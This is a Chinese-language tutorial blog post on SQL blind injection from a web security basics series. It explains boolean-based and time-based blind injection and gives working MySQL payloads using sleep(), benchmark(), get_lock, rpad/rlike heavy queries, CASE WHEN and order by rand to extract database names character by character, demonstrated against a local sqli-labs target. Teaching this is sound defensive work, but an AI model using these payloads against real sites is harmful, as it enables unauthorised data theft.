【Sql注入】盲注
本Web安全基础推文系列旨在以平白的语言讲解漏洞原理,文章多数内容为我本人的学习笔记与总结,汇总供大家参考。
1 盲注
为什么叫做盲注?
盲注的本质是猜解(所谓 “盲” 就是在你看不到返回数据的情况下能通过 “感觉” 来判断),那能感觉到什么?答案是:差异(包括运行时间的差异和页面返回结果的差异)。
也就是说我们想实现的是我们要构造一条语句来测试我们输入的布尔表达式,使得布尔表达式结果的真假直接影响整条语句的执行结果,从而使得系统有不同的反应,在时间盲注中是不同的返回的时间,在布尔盲注中则是不同的页面反应。
如上所述,这种猜测的过程使得盲注得名。在盲注中,攻击者根据页面内容的不同,或是响应时间不同来判断是否存在注入,以及注入是否成功。
于是很好理解,盲注是页面无数据库回显示,但能通过 1)反应时间或 2)页面不同的差异,来反馈逻辑正误的注入。攻击者可以利用逻辑判断获取数据库中的数据。常见的可以分为布尔盲注和时间盲注两大类。
这种类似if的逻辑语句可以给sql语句分流,出现两种结果,带来差异。我们把这种能根据其中输入真假,返回不同结果的函数叫做分流函数。其他的分流“函数”还有:elt(), field(),case when then else end等等。
ELT(N ,str1 ,str2 ,str3 ,…)
说明:若 N = 1 ,则返回值为 str1 ,若 N = 2 ,则返回值为 str2 ,以此类推。若 N 小于 1 或大于参数的数目,则返回值为 NULL 。ELT() 是 FIELD() 的补数。FIELD(str, str1, str2, str3, ……)
该函数返回的是 str 在这些字符串的位置的索引,如果找不到返回 0。case when then else end
CASE WHEN (ascii(substr((select database()),{0},1))>{1}) THEN 1 ELSE (SELECT 1 FROM DUAL UNION SELECT 2 FROM DUAL) END)
1.1 布尔盲注
布尔盲注:某些场合下,不能返回查询的结果,但是对于输入 布尔值 0 和 1 的反应是不同的。通过输入布尔值的注入点,注入我们的条件语句,查看页面的返回结果(True or False)来判断哪些SQL判断条件成立,通过此来获取数据库中的数据。
① 布尔盲注的特点:
1)只会显示执行或者未执行两种不同界面
2)适用于数据库能查询到数据和查询不到数据页面返回不同,但是数据不会显示在页面
② 注入流程及手段
参考论坛@士别三日wyx的帖子,我们以sqli-lab Less 5为例,?id=1 正常输入页面显示 “You are in…”, 加入单引号发现报错。
http://127.0.0.1/Less-5/?id=1'and length(database())=1 –+
此时,页面回显为空。猜数据库长度(利用二分法)。
http://127.0.0.1/Less-5/?id=1'and length(database())=8 –+
当页面回显You are in … 说明and后面数值为1, 显示正常,说明数据库名长度为8。这种通过构造条件判断的方式进行猜解的过程,即是盲注的过程。
1.2 时间盲注(延迟注入)
时间盲注:根据页面的响应时间来判断是否存在注入。一般通过延迟函数,大量查询等payload进行利用。时间盲注使用的优先级并不高,通常是在联合注入、报错注入、布尔盲注都无法使用时才会考虑使用:
1)页面没有回显位置(联合注入无法使用)
2)页面不显示数据库的报错信息(报错注入无法使用)
3)无论成功还是失败,页面只响应一种结果(布尔盲注无法使用)
① 延迟函数 sleep(n) 、benchmark(n,expr)
sleep:
1 | select * from users where id = '1' and sleep(2) |
benchmark:benchmark(10000000,encode(‘hello’,’mom’))
1 | eg. select BENCHMARK(10000,md5('a')); |
benchmark是Mysql的一个内置函数,其作用是来测试一些函数的执行速度。benchmark()中带有两个参数,第一个是执行的次数,第二个是要执行的函数或者是表达式
② heavy query
heavy query顾名思义就是通过做大量的查询导致查询时间较长来达到延时的目的。通常选择一些比较大的表做笛卡尔积运算。
③ get_lock
get_lock()函数 需要使用 mysql_pconnect函数来连接数据库,利用场景比较有限。
在一个session中可以先锁定一个变量例如:
1 | select get_lock(‘MountSec’,1)。 |
然后通过另一个session再次执行get_lock(‘MountSec’,5)此时会产生5秒的延迟,其效果类似于sleep(5)。
④ rpad+rlike
rpad(1,3,’a’)是指用a填充第一位的字符串以达到第二位的长度
经本地测试mysql5.7最大允许用单个rpad()填充349525位,而多个rpad()可以填充4个349525位,
1 | select * from table1 where 1=1 and |
最后的asdasdasd对时间长度有巨大影响,可以增长其长度以增大时延
2 常见payload
2.1 猜解细节
① 猜解当前数据库名称长度(二分法)
' and if((length(database()))=12,sleep(5),1)--+ 页面延时了
==》当前数据库名称长度为 12。
② 猜解当前数据库名称
猜解数据库第一个字符
1 | ?id=1' and if((ascii(substr(database(),1,1)) =115 ),sleep(3),1) --+ |
猜解整个数据库名
1 | ' and if(ascii(substr(database(),1,1))=107,sleep(5),1)--+ |
页面延时了
==》数据库第一个字母是k… 类推得到数据库名kanwolonxia。可以用burp进行爆破。
2.2 常用语句
① 条件语句case when then else end
1 | "(CASE WHEN (ascii(substr((select database()),{0},1))>{1}) THEN 1 ELSE (SELECT 1 FROM DUAL UNION SELECT 2 FROM DUAL) END)".format(i, str(ord(string[left]))) |
② 条件语句 if(expr1,expr2,expr3)
expr1为true则返回expr2,expr1为false则返回expr3。
注:仅MySQL支持if(expr1,expr2,expr3)
1 | 1'and if(ascii(substr(database(),1,1))>97,sleep(5),1)# 明显延迟 |
③ Order by
order by rand(True)和order by rand(False)的结果排序是不同的,可以根据这个不同来进行盲注:order by rand(database()=’MountSec’)
返回了True的排序,说明database()=’MountSec’是正确的值
3 总结
本篇我们讲解了sql注入漏洞的盲注,盲注的关键词有:1)页面无数据库回显示,2)时间盲注:反应时间差异 ,3)布尔盲注:页面差异。